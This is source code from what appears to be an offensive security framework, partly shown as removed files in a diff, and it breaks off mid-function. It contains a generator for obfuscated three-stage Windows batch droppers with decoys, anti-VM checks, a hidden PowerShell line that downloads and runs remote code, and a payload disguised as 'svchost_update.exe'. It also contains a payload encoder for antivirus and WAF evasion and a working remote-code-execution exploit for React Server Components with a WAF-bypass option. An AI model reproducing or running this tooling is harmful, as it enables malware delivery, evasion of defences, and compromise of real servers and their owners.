let banner_text = BANNERS.choose(&mut rng()).unwrap();
let antivm = build_anti_vm(ctx);
// Create random decoy logic
let mut decoy_section = String::new();
let mut decoys_shuffled = DECOY_FILES.to_vec();
decoys_shuffled.shuffle(&mut rng());
for (i, url) in decoy_urls.iter().enumerate().take(3) {
let decoy_name = decoys_shuffled.get(i).unwrap_or(&"log.txt");
let dl_cmd = build_downloader(DownloadMethod::PowerShell, url, decoy_name); // Always use PS for decoys for stealth
decoy_section.push_str(&format!("echo [*] Verifying component: {}\n{}\n", decoy_name, dl_cmd));
}
let stage2_content = build_stage2(ctx, method, url_payload, ps1_name, stage3_name);
let s2_var = ctx.get("s2_file");
let mut script = format!(r#"@echo off
setlocal enabledelayedexpansion
REM =========================================================
REM {banner} (v{v1}.{v2})
REM =========================================================
title {banner}
color 0A
set "{batch_var}_init=1"
REM == Environment Check ==
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
{antivm}
echo [+] Initializing system diagnostics...
ping -n 2 127.0.0.1 >nul
{decoy_section}
echo [+] Downloading core updates...
set /a rndDelay=(%RANDOM% %% 5) + 2
ping -n %rndDelay% 127.0.0.1 >nul
REM == Extract Stage 2 ==
set "{s2_var}=%~dp0{stage2_name}"
(
"#,
banner=banner_text,
v1=rng().random_range(1..9),
v2=rng().random_range(0..99),
batch_var=batch_var,
antivm=antivm,
decoy_section=decoy_section,
s2_var=s2_var,
stage2_name=stage2_name
);
// Escape and write Stage 2 content
for line in stage2_content.lines() {
if !line.trim().is_empty() {
script.push_str(&format!(" echo {}\n", line.replace("%", "%%")));
} else {
script.push('\n');
}
}
script.push_str(&format!(r#"
) > "%{s2_var}%"
REM == Handoff to Stage 2 ==
call "%{s2_var}%"
REM Cleanup
del "%~f0" >nul 2>&1
exit
"#, s2_var=s2_var));
script
}
// ==============================================================================
// Interactive Interface
// ==============================================================================
pub fn print_welcome_naruto() {
println!("{}", r#"
_ __ __
/ | / /___ _________ / /_____ / /_
/ |/ / __ `/ ___/ _ \/ __/ __ \/ __/
/ /| / /_/ / / / __/ /_/ /_/ / /_
/_/ |_/\__,_/_/ \___/\__/\____/\__/
:: Poly-morphic Dropper Generator
:: Supports: PowerShell, Certutil, Bitsadmin
"#.bright_red());
}
async fn prompt(msg: &str, default: Option<&str>) -> Result<String> {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
tokio::io::stdout().flush().await?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
let value = input.trim();
Ok(if value.is_empty() {
default.unwrap_or("").to_string()
} else {
value.to_string()
})
}
pub async fn run(target: &str) -> Result<()> {
use crate::utils::{validate_file_path, validate_url};
print_welcome_naruto();
let target_display = if target.is_empty() { "local" } else { target };
println!("{}", format!("[*] Context: {}", target_display).dimmed());
println!("{}", "[!] This tool generates an obfuscated 3-stage chain-linked batch dropper.".yellow());
// 1. Get Payload URL
let url_payload = prompt("Payload URL (EXE/PS1)", Some("http://10.10.10.10/payload.exe")).await?;
validate_url(&url_payload, Some(&["http", "https"]))?;
// 2. Select Method
let method_str = prompt(&format!("Download Method ({})", DownloadMethod::options()), Some("ps")).await?;
let method = DownloadMethod::from_str(&method_str).unwrap_or(DownloadMethod::PowerShell);
println!(" [+] Selected Method: {:?}", method);
// 3. Filenames
let out_name = prompt("Output batch filename", Some("update_installer.bat")).await?;
let ps1_name = prompt("Saved payload filename on target", Some("svchost_update.exe")).await?;
validate_file_path(&out_name, true)?;
// 4. Build
let mut ctx = DropperContext::new();
let stage2_name = ctx.rand_var_name() + ".bat";
let stage3_name = ctx.rand_var_name() + ".bat";
// Decoys
let decoy_urls = vec![
"https://www.google.com/robots.txt",
"https://www.microsoft.com/favicon.ico",
];
let script = build_stage1(
&mut ctx,
method,
&url_payload,
&decoy_urls,
&ps1_name,
&stage2_name,
&stage3_name
);
let mut file = TokioFile::create(&out_name).await?;
file.write_all(script.as_bytes()).await?;
file.flush().await?;
println!("\n{}", "SUCCESS!".green().bold());
println!("[+] Dropper written to: {}", out_name.bold());
println!("[+] Method chosen: {:?}", method);
println!("[+] Payload URL: {}", url_payload);
println!("[+] Chain structure: Stage1(Batch) -> Stage2(Batch) -> Stage3(Batch/Persist)");
Ok(())
}
@@ -1,686 +0,0 @@
// File: src/modules/payloadgens/payload_encoder.rs
//
// Payload Encoder for Exploit Development
// Encodes payloads using various schemes for AV evasion and constrained inputs
// Supports shellcode, commands, and text with multiple encoding options
//
// Usage:
// rsf> u payloadgens/payload_encoder
// rsf> run
use anyhow::{Context, Result};
use colored::*;
use std::io::{self, Write};
use std::path::Path;
use tokio::fs;
use tokio::io::AsyncWriteExt;
use tokio::process::Command;
use data_encoding::{BASE32, BASE32HEX, BASE64, BASE64URL};
#[derive(Debug, Clone)]
enum EncodingType {
Base16, // Hex
Base32, // RFC 4648
Base32Hex, // RFC 4648 with hex alphabet
Base64, // Standard
Base64Url, // URL-safe
UrlEncode, // Percent encoding
ShellEscape, // Shell metacharacter escaping
HtmlEncode, // HTML entity encoding
ZeroWidth, // Zero-width Unicode steganography
}
impl EncodingType {
fn from_choice(choice: &str) -> Option<Self> {
match choice {
"1" => Some(EncodingType::Base16),
"2" => Some(EncodingType::Base32),
"3" => Some(EncodingType::Base32Hex),
"4" => Some(EncodingType::Base64),
"5" => Some(EncodingType::Base64Url),
"6" => Some(EncodingType::UrlEncode),
"7" => Some(EncodingType::ShellEscape),
"8" => Some(EncodingType::HtmlEncode),
"9" => Some(EncodingType::ZeroWidth),
"" => Some(EncodingType::Base64), // Default
_ => None,
}
}
fn name(&self) -> &str {
match self {
EncodingType::Base16 => "Base16 (Hex)",
EncodingType::Base32 => "Base32 (RFC 4648)",
EncodingType::Base32Hex => "Base32Hex",
EncodingType::Base64 => "Base64",
EncodingType::Base64Url => "Base64 URL-safe",
EncodingType::UrlEncode => "URL Encode",
EncodingType::ShellEscape => "Shell Escape",
EncodingType::HtmlEncode => "HTML Encode",
EncodingType::ZeroWidth => "Zero-Width Unicode",
}
}
fn description(&self) -> &str {
match self {
EncodingType::Base16 => "Hexadecimal encoding (0-9, A-F)",
EncodingType::Base32 => "Base32 with A-Z, 2-7",
EncodingType::Base32Hex => "Base32 with hex alphabet",
EncodingType::Base64 => "Base64 with A-Z, a-z, 0-9, +, /",
EncodingType::Base64Url => "Base64 URL-safe (no + or /)",
EncodingType::UrlEncode => "Percent encoding for URLs",
EncodingType::ShellEscape => "Escape shell metacharacters",
EncodingType::HtmlEncode => "HTML entity encoding",
EncodingType::ZeroWidth => "Zero-width Unicode - completely invisible steganography",
}
}
}
#[derive(Debug, Clone)]
enum InputType {
Text, // Regular text/command
Hex, // Hex string (shellcode)
Base64, // Base64 input
File, // Read from file
}
#[derive(Debug, Clone, Copy)]
enum ClipboardType {
X11, // xclip/xsel
Wayland, // wl-copy/wl-paste
None,
}
/// Main entry point for the module
pub async fn run(_target: &str) -> Result<()> {
run_interactive().await
}
/// Interactive entry point with menu system
pub async fn run_interactive() -> Result<()> {
print_banner();
loop {
println!();
let input_type = select_input_type().await?;
let input = get_input(&input_type).await?;
let encodings = select_encodings().await?;
println!("{}", "\n[*] Encoding...".yellow());
let result = apply_encodings(&input, &encodings)?;
display_result(&result, &encodings, input.len())?;
handle_output(result).await?;
println!();
println!("{}", "=".repeat(70).bright_black());
if !ask_continue()? {
break;
}
}
Ok(())
}
fn print_banner() {
println!("{}", "╔════════════════════════════════════════════════════════════════════╗".bright_cyan());
println!("{}", "║ Payload Encoder - Rustsploit Module ║".bright_cyan());
println!("{}", "║ Multiple Encodings for Exploit Development ║".bright_cyan());
println!("{}", "╚════════════════════════════════════════════════════════════════════╝".bright_cyan());
println!("{}", "\n[!] Use this tool to encode payloads for bypassing AV, WAF, or input constraints".yellow());
}
async fn select_input_type() -> Result<InputType> {
loop {
println!("{}", "\n[Input Type]".bright_yellow().bold());
println!(" {} Text/Command", "1.".bright_white());
println!(" {} Hex Shellcode", "2.".bright_white());
println!(" {} Base64 Input", "3.".bright_white());
println!(" {} File (binary)", "4.".bright_white());
print!("{}", "\nSelect input type [1-4]: ".bright_green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
match choice {
"1" => return Ok(InputType::Text),
"2" => return Ok(InputType::Hex),
"3" => return Ok(InputType::Base64),
"4" => return Ok(InputType::File),
_ => {
println!("{}", "[!] Invalid choice. Please select 1-4.".red());
continue;
}
}
}
}
async fn get_input(input_type: &InputType) -> Result<Vec<u8>> {
match input_type {
InputType::Text => {
print!("{}", "\nEnter text/command to encode: ".bright_green());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
Ok(input.trim().as_bytes().to_vec())
}
InputType::Hex => {
print!("{}", "\nEnter hex shellcode (no spaces): ".bright_green());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let hex_str = input.trim();
if hex_str.is_empty() {
return Ok(Vec::new());
}
// Validate hex string length (must be even)
if hex_str.len() % 2 != 0 {
anyhow::bail!("Hex string must have even length (each byte requires 2 hex characters)");
}
// Parse hex string safely
let mut bytes = Vec::new();
for i in (0..hex_str.len()).step_by(2) {
let hex_pair = &hex_str[i..i + 2];
match u8::from_str_radix(hex_pair, 16) {
Ok(byte) => bytes.push(byte),
Err(_) => anyhow::bail!(
"Invalid hex character at position {}: '{}' (expected 0-9, A-F, or a-f)",
i,
hex_pair
),
}
}
Ok(bytes)
}
InputType::Base64 => {
print!("{}", "\nEnter base64 to decode: ".bright_green());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let b64_str = input.trim();
if b64_str.is_empty() {
Ok(Vec::new())
} else {
BASE64.decode(b64_str.as_bytes()).context("Invalid base64")
}
}
InputType::File => {
print!("{}", "\nEnter file path: ".bright_green());
io::stdout().flush()?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
let path = path.trim();
if path.is_empty() {
anyhow::bail!("No file path provided");
}
fs::read(path).await.context("Failed to read file")
}
}
}
async fn select_encodings() -> Result<Vec<EncodingType>> {
loop {
println!("{}", "\n[Encoding Methods]".bright_yellow().bold());
println!(" {} Base16 (Hex) {}", "1.".bright_white(), EncodingType::Base16.description().bright_black());
println!(" {} Base32 {}", "2.".bright_white(), EncodingType::Base32.description().bright_black());
println!(" {} Base32Hex {}", "3.".bright_white(), EncodingType::Base32Hex.description().bright_black());
println!(" {} Base64 {}", "4.".bright_white(), "A-Z, a-z, 0-9, +, / [DEFAULT]".bright_cyan());
println!(" {} Base64 URL-safe {}", "5.".bright_white(), EncodingType::Base64Url.description().bright_black());
println!(" {} URL Encode {}", "6.".bright_white(), EncodingType::UrlEncode.description().bright_black());
println!(" {} Shell Escape {}", "7.".bright_white(), EncodingType::ShellEscape.description().bright_black());
println!(" {} HTML Encode {}", "8.".bright_white(), EncodingType::HtmlEncode.description().bright_black());
println!(" {} Zero-Width Unicode {}", "9.".bright_white(), EncodingType::ZeroWidth.description().bright_magenta());
print!("{}", "\nSelect encoding(s) [comma-separated or ENTER for Base64, 9 for invisible]: ".bright_green());
io::stdout().flush()?;
let mut choices = String::new();
io::stdin().read_line(&mut choices)?;
let choices = choices.trim();
if choices.is_empty() {
return Ok(vec![EncodingType::Base64]);
}
let mut encodings = Vec::new();
let mut has_error = false;
for choice in choices.split(',') {
let choice = choice.trim();
match EncodingType::from_choice(choice) {
Some(encoding) => encodings.push(encoding),
None => {
println!("{} {}", "[!] Invalid choice:".red(), choice);
has_error = true;
break;
}
}
}
if !has_error {
return Ok(encodings);
}
// Loop continues on error
}
}
fn apply_encodings(input: &[u8], encodings: &[EncodingType]) -> Result<String> {
// Guard against empty encoding list
if encodings.is_empty() {
return String::from_utf8(input.to_vec())
.context("Input contains invalid UTF-8 and no encoding was specified");
}
let mut data = input.to_vec();
for encoding in encodings {
let encoded = match encoding {
EncodingType::Base16 => encode_base16(&data),
EncodingType::Base32 => BASE32.encode(&data),
EncodingType::Base32Hex => BASE32HEX.encode(&data),
EncodingType::Base64 => BASE64.encode(&data),
EncodingType::Base64Url => BASE64URL.encode(&data),
EncodingType::UrlEncode => encode_url(&String::from_utf8_lossy(&data)),
EncodingType::ShellEscape => encode_shell_escape(&String::from_utf8_lossy(&data)),
EncodingType::HtmlEncode => encode_html(&String::from_utf8_lossy(&data)),
EncodingType::ZeroWidth => encode_zero_width(&data),
};
data = encoded.into_bytes();
}
// Convert final result back to string
String::from_utf8(data).context("Final encoding produced invalid UTF-8")
}
fn display_result(result: &str, encodings: &[EncodingType], input_length: usize) -> Result<()> {
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════════════╗".bright_green());
println!("{}", "║ ENCODED PAYLOAD ║".bright_green());
println!("{}", "╚══════════════════════════════════════════════════════════════════════╝".bright_green());
println!();
// Show encoding chain
if encodings.len() > 1 {
println!("{}", "Encoding chain:".bright_cyan());
for (i, encoding) in encodings.iter().enumerate() {
println!(" {}. {}", i + 1, encoding.name());
}
println!();
} else if let Some(encoding) = encodings.first() {
println!("{} {}", "Encoding:".bright_cyan(), encoding.name());
println!();
}
if encodings.iter().any(|e| matches!(e, EncodingType::ZeroWidth)) {
println!("{}", "\n[!] WARNING: Output contains INVISIBLE zero-width Unicode characters!".yellow().bold());
println!("{}", "[!] The characters below are invisible but contain your encoded data.".yellow());
println!("{}", "[!] They have been copied to clipboard as actual invisible Unicode characters.\n".yellow());
// Show a visual representation
println!("{} {}", "Visualization:".bright_cyan(), visualize_zero_width(&result).bright_magenta());
println!();
println!("{}", "[Invisible Unicode characters copied to clipboard]".bright_white());
} else {
println!("{}", result.bright_white());
}
if result.len() > 200 {
println!();
println!("{} {} chars", "[+] Length:".green(), result.len());
} else {
println!();
println!("{} {} chars", "[+] Length:".green(), result.len());
}
// Show some stats
let compressed_ratio = if input_length > 0 {
format!("{:.1}%", (result.len() as f64 / input_length as f64) * 100.0)
} else {
"N/A".to_string()
};
println!("{} {}", "[+] Size ratio:".green(), compressed_ratio);
println!("{}", "".repeat(70).bright_black());
Ok(())
}
async fn handle_output(output: String) -> Result<()> {
// Detect clipboard system
let clipboard_type = detect_clipboard_system().await;
// Ask about clipboard
match clipboard_type {
ClipboardType::X11 => {
print!("{}", "\nCopy to clipboard (xclip)? [y/N]: ".bright_green());
}
ClipboardType::Wayland => {
print!("{}", "\nCopy to clipboard (wl-copy)? [y/N]: ".bright_green());
}
ClipboardType::None => {
println!("{}", "\n[!] No clipboard tool found (install xclip or wl-clipboard)".yellow());
}
}
if !matches!(clipboard_type, ClipboardType::None) {
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
if choice.trim().eq_ignore_ascii_case("y") {
if copy_to_clipboard(&output, clipboard_type).await? {
if output.chars().any(|c| matches!(c, '\u{200B}'..='\u{200F}' | '\u{2060}' | '\u{FEFF}' | '\u{034F}')) {
println!("{}", "[+] ✓ Invisible zero-width Unicode characters copied to clipboard!".green().bold());
println!("{}", "[!] The clipboard now contains truly invisible encoded data.".bright_black());
} else {
println!("{}", "[+] ✓ Copied to clipboard!".green().bold());
}
} else {
println!("{}", "[!] Failed to copy to clipboard".red());
}
}
}
// Ask about saving to file
print!("{}", "\nSave to file? [y/N]: ".bright_green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
if choice.trim().eq_ignore_ascii_case("y") {
save_to_file(&output).await?;
}
Ok(())
}
fn ask_continue() -> Result<bool> {
print!("{}", "\nEncode another payload? [Y/n]: ".bright_green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
Ok(!choice.trim().eq_ignore_ascii_case("n"))
}
async fn detect_clipboard_system() -> ClipboardType {
// Check for Wayland first
if let Ok(output) = Command::new("which")
.arg("wl-copy")
.output()
.await
{
if output.status.success() {
return ClipboardType::Wayland;
}
}
// Check for X11
if let Ok(output) = Command::new("which")
.arg("xclip")
.output()
.await
{
if output.status.success() {
return ClipboardType::X11;
}
}
ClipboardType::None
}
async fn copy_to_clipboard(text: &str, clipboard_type: ClipboardType) -> Result<bool> {
// Ensure we copy the raw Unicode characters, especially for zero-width encoding
// The text should already contain the correct UTF-8 encoded characters
match clipboard_type {
ClipboardType::X11 => copy_to_clipboard_x11(text).await,
ClipboardType::Wayland => copy_to_clipboard_wayland(text).await,
ClipboardType::None => Ok(false),
}
}
async fn copy_to_clipboard_x11(text: &str) -> Result<bool> {
// Use UTF-8 encoding explicitly and ensure proper handling of Unicode characters
let mut child = Command::new("xclip")
.arg("-selection")
.arg("clipboard")
.arg("-t")
.arg("text/plain;charset=utf-8")
.stdin(std::process::Stdio::piped())
.spawn()
.context("Failed to spawn xclip")?;
if let Some(mut stdin) = child.stdin.take() {
// Write as UTF-8 bytes to preserve Unicode characters including zero-width ones
stdin.write_all(text.as_bytes()).await?;
stdin.shutdown().await?;
}
let status = child.wait().await?;
Ok(status.success())
}
async fn copy_to_clipboard_wayland(text: &str) -> Result<bool> {
// Explicitly set MIME type for proper Unicode handling
let mut child = Command::new("wl-copy")
.arg("-t")
.arg("text/plain;charset=utf-8")
.stdin(std::process::Stdio::piped())
.spawn()
.context("Failed to spawn wl-copy")?;
if let Some(mut stdin) = child.stdin.take() {
// Write UTF-8 bytes to preserve zero-width Unicode characters
stdin.write_all(text.as_bytes()).await?;
stdin.shutdown().await?;
}
let status = child.wait().await?;
Ok(status.success())
}
async fn save_to_file(content: &str) -> Result<()> {
let default_name = "encoded_payload.txt";
print!("{} [{}]: ",
"Enter filename".bright_green(),
default_name.bright_black()
);
io::stdout().flush()?;
let mut filename = String::new();
io::stdin().read_line(&mut filename)?;
let filename = filename.trim();
// Prevent path traversal: only use the filename component, strip directory separators
let safe_filename = if filename.is_empty() {
default_name.to_string()
} else {
Path::new(filename)
.file_name()
.and_then(|f| f.to_str())
.map(|s| s.to_string())
.unwrap_or_else(|| {
// If filename extraction fails, sanitize by removing path separators
filename.replace('/', "_").replace('\\', "_")
})
};
fs::write(&safe_filename, content)
.await
.context("Failed to write file")?;
println!("{} {}", "[+] ✓ Saved to:".green().bold(), safe_filename.bright_white());
Ok(())
}
// ============================================================================
// ENCODING FUNCTIONS
// ============================================================================
fn encode_base16(data: &[u8]) -> String {
let mut result = String::with_capacity(data.len() * 2);
for &byte in data {
result.push_str(&format!("{:02X}", byte));
}
result
}
fn encode_url(text: &str) -> String {
// Worst case: all bytes encoded as %XX (3 chars per byte)
let mut result = String::with_capacity(text.len() * 3);
for byte in text.as_bytes() {
match *byte {
b' ' => result.push('+'),
// RFC 3986 unreserved characters (all ASCII, so byte-to-char cast is safe)
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => {
// Safe: these are all ASCII characters (0-127), so byte as char is valid
result.push(*byte as char);
}
// All other bytes (including multi-byte UTF-8 sequences) are percent-encoded
_ => {
result.push('%');
result.push_str(&format!("{:02X}", byte));
}
}
}
result
}
fn encode_shell_escape(text: &str) -> String {
// Estimate capacity: most characters don't need escaping, but escaped ones double in size
let mut result = String::with_capacity(text.len() * 2);
for c in text.chars() {
match c {
// Critical: space and asterisk must be escaped to prevent command injection
' ' | '*' | '$' | '`' | '|' | '&' | ';' | '>' | '<' | '(' | ')' | '{' | '}' | '[' | ']' | ',' | '?' | '~' | '!' | '#' => {
result.push('\\');
result.push(c);
}
'"' => result.push_str("\\\""),
'\'' => result.push_str("\\'"),
'\\' => result.push_str("\\\\"),
'\n' => result.push_str("\\n"),
'\r' => result.push_str("\\r"),
'\t' => result.push_str("\\t"),
_ => result.push(c),
}
}
result
}
fn encode_html(text: &str) -> String {
// Worst case: all '&' characters become "&amp;" (5 chars each)
// Other encoded chars are shorter, but this is the worst case
let mut result = String::with_capacity(text.len() * 5);
for c in text.chars() {
match c {
'&' => result.push_str("&amp;"),
'<' => result.push_str("&lt;"),
'>' => result.push_str("&gt;"),
'"' => result.push_str("&quot;"),
'\'' => result.push_str("&#x27;"),
'/' => result.push_str("&#x2F;"),
_ => result.push(c),
}
}
result
}
// ============================================================================
// ZERO-WIDTH UNICODE STEGANOGRAPHY
// ============================================================================
/// Zero-width Unicode characters for invisible steganography
/// These characters don't render visually but can store binary data
const ZERO_WIDTH_CHARS: [char; 8] = [
'\u{200B}', // Zero-width space (ZWSP) - represents 000
'\u{200C}', // Zero-width non-joiner (ZWNJ) - represents 001
'\u{200D}', // Zero-width joiner (ZWJ) - represents 010
'\u{200E}', // Left-to-right mark (LTRM) - represents 011
'\u{200F}', // Right-to-left mark (RTLM) - represents 100
'\u{2060}', // Word joiner (WJ) - represents 101
'\u{FEFF}', // Zero-width no-break space (BOM) - represents 110
'\u{034F}', // Combining grapheme joiner (CGJ) - represents 111
];
fn encode_zero_width(data: &[u8]) -> String {
// Calculate exact capacity: (total_bits + 2) / 3 rounded up
// Each byte contributes 8 bits, each char takes 3 bits
let total_bits = data.len() as u64 * 8;
let estimated_chars = ((total_bits + 2) / 3) as usize;
let mut result = String::with_capacity(estimated_chars);
let mut buffer: u32 = 0;
let mut bits_in_buffer = 0;
for &byte in data {
// Add byte to buffer (shift left by 8, add byte)
buffer = (buffer << 8) | (byte as u32);
bits_in_buffer += 8;
// Extract 3-bit chunks while we have at least 3 bits
while bits_in_buffer >= 3 {
bits_in_buffer -= 3;
// Extract highest 3 bits (MSB first for proper encoding)
let bit_value = ((buffer >> bits_in_buffer) & 0x07) as usize;
result.push(ZERO_WIDTH_CHARS[bit_value]);
}
}
// Handle remaining bits (less than 3 bits in buffer)
// Pad with zeros to make exactly 3 bits for the final character
if bits_in_buffer > 0 {
// Shift the remaining bits to the left to align with MSB of 3-bit chunk
// Then mask to get exactly 3 bits (padding with zeros on the right)
let padded_bits = (buffer << (3 - bits_in_buffer)) & 0x07;
let bit_value = padded_bits as usize;
result.push(ZERO_WIDTH_CHARS[bit_value]);
}
result
}
fn visualize_zero_width(text: &str) -> String {
let mut result = String::with_capacity(text.len() * 5); // Each char becomes ~5 chars
for ch in text.chars() {
match ch {
'\u{200B}' => result.push_str("[000]"),
'\u{200C}' => result.push_str("[001]"),
'\u{200D}' => result.push_str("[010]"),
'\u{200E}' => result.push_str("[011]"),
'\u{200F}' => result.push_str("[100]"),
'\u{2060}' => result.push_str("[101]"),
'\u{FEFF}' => result.push_str("[110]"),
'\u{034F}' => result.push_str("[111]"),
_ => result.push_str(&format!("[{:04X}]", ch as u32)),
}
}
result
}
-2
View File
@@ -1,2 +0,0 @@
pub mod react2shell;
-986
View File
@@ -1,986 +0,0 @@
//! React Server Components RCE (CVE-2025-55182, CVE-2025-66478)
//!
//! Advanced implementation using the correct exploit chain with:
//! - Multi-chunk payload structure (5 chunks: 0-4)
//! - Gadget chain: $3:constructor:constructor → Function()
//! - Output exfiltration via X-Action-Redirect header
//! - Safe-check mode for vulnerability detection without RCE
//! - Windows PowerShell support
//! - WAF bypass options
//!
//! Detects and exploits unauthenticated Remote Code Execution vulnerabilities in React Server Components
//! and Next.js through insecure deserialization in the RSC Flight protocol.
//!
//! References:
//! - https://nextjs.org/blog/CVE-2025-66478
//! - https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
//! - https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive
//! - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/
//! - https://github.com/assetnote/react2shell-scanner
use anyhow::{anyhow, Context, Result};
use colored::*;
use rand::prelude::*;
use rand::rng;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
const BOUNDARY: &str = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const BANNER: &str = r#"
CVE-2025-55182 CVE-2025-66478 <-> React-Next.js RCE
"#;
/// Exploit configuration
#[derive(Debug, Clone)]
pub struct ExploitConfig {
pub target: String,
pub proxy: Option<String>,
pub verify_ssl: bool,
pub verbose: bool,
pub timeout: u64,
pub custom_headers: Vec<(String, String)>,
pub random_agent: bool,
pub use_color: bool,
pub windows_mode: bool,
pub waf_bypass: bool,
pub waf_bypass_size_kb: usize,
pub target_path: String,
}
impl Default for ExploitConfig {
fn default() -> Self {
Self {
target: String::new(),
proxy: None,
verify_ssl: true,
verbose: false,
timeout: DEFAULT_TIMEOUT_SECS,
custom_headers: Vec::new(),
random_agent: false,
use_color: true,
windows_mode: false,
waf_bypass: false,
waf_bypass_size_kb: 128,
target_path: "/".to_string(),
}
}
}
/// Result of an exploit attempt
#[derive(Debug, Clone)]
pub struct ExploitResult {
pub url: String,
pub status: Option<u16>,
pub vulnerable: bool,
pub command_output: Option<String>,
pub response_headers: Vec<(String, String)>,
pub response_body: String,
}
const USER_AGENTS: &[&str] = &[
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
];
fn print_banner() {
println!("{}", BANNER.red().bold());
}
fn get_random_user_agent() -> &'static str {
let mut r = rng();
USER_AGENTS.choose(&mut r).unwrap_or(&USER_AGENTS[0])
}
/// URL decode a string
fn url_decode(input: &str) -> String {
let mut result = String::new();
let mut chars = input.chars().peekable();
while let Some(ch) = chars.next() {
if ch == '%' {
let hex: String = chars.by_ref().take(2).collect();
if let Ok(byte) = u8::from_str_radix(&hex, 16) {
result.push(byte as char);
} else {
result.push('%');
result.push_str(&hex);
}
} else if ch == '+' {
result.push(' ');
} else {
result.push(ch);
}
}
result
}
/// URL encode a string for use in JavaScript
fn js_encode(input: &str) -> String {
input
.replace('\\', "\\\\")
.replace('\'', "\\'")
.replace('"', "\\\"")
.replace('\n', "\\n")
.replace('\r', "\\r")
}
/// Create the correct CVE-2025-55182 exploit payload
/// Based on Wiz Research verified PoC structure
///
/// Payload structure:
/// - Chunk 0: Entry point, references chunk 1
/// - Chunk 1: Fake chunk object with gadget references
/// - Chunk 2: Raw chunk reference ($@3) for Promise-like behavior
/// - Chunk 3: Empty array for constructor chain access
/// - Chunk 4: Response-like object with _prefix (code) and _formData.get (Function())
fn create_rce_payload(command: &str, is_windows: bool) -> String {
// JavaScript code to execute shell command and return output via redirect
// The output appears in X-Action-Redirect header as /login?a=<output>
let js_code = if is_windows {
format!(
"var r=require('child_process').execSync('powershell -c \"{}\"').toString();throw new Error('/login?a='+encodeURIComponent(r))//",
js_encode(command)
)
} else {
format!(
"var r=require('child_process').execSync('{}').toString();throw new Error('/login?a='+encodeURIComponent(r))//",
js_encode(command)
)
};
// Escape for JSON embedding
let js_escaped = js_code.replace('\\', "\\\\").replace('"', "\\\"");
// Chunk 1: Fake chunk object
// - status: "resolved_model" makes the deserializer process it as a model
// - reason: 0 is required
// - _response: "$4" references our crafted response object
// - value: JSON with "then" pointing to $3:map which triggers promise chain
// - then: "$2:then" triggers the promise resolution
let chunk_1 = r#"{"status":"resolved_model","reason":0,"_response":"$4","value":"{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}"#;
// Chunk 2: Raw chunk reference - $@3 tells deserializer to treat as Promise
let chunk_2 = "$@3";
// Chunk 3: Empty array - used to access Array.constructor.constructor = Function()
let chunk_3 = "[]";
// Chunk 4: Response-like object
// - _prefix: Our JavaScript code to execute
// - _formData.get: Points to $3:constructor:constructor = Function()
// - _chunks: Required for internal linkage
let chunk_4 = format!(
r#"{{"_prefix":"{}","_formData":{{"get":"$3:constructor:constructor"}},"_chunks":"$2:_response:_chunks"}}"#,
js_escaped
);
// Build multipart body
let mut body = String::new();
// Chunk 0 - entry point
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"0\"\r\n\r\n");
body.push_str("$1\r\n");
// Chunk 1 - fake chunk object
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"1\"\r\n\r\n");
body.push_str(chunk_1);
body.push_str("\r\n");
// Chunk 2 - raw chunk reference
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"2\"\r\n\r\n");
body.push_str(chunk_2);
body.push_str("\r\n");
// Chunk 3 - empty array
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"3\"\r\n\r\n");
body.push_str(chunk_3);
body.push_str("\r\n");
// Chunk 4 - response object with exploit
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"4\"\r\n\r\n");
body.push_str(&chunk_4);
body.push_str("\r\n");
// Terminating boundary
body.push_str(&format!("------{}--", BOUNDARY));
body
}
/// Create payload with WAF bypass (prepend junk data)
fn create_rce_payload_with_waf_bypass(command: &str, is_windows: bool, junk_size_kb: usize) -> String {
let mut body = String::new();
// Add junk data first to bypass WAF content inspection
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"junk\"\r\n\r\n");
body.push_str(&"x".repeat(junk_size_kb * 1024));
body.push_str("\r\n");
// Append the actual exploit payload (without initial boundary since we already have one)
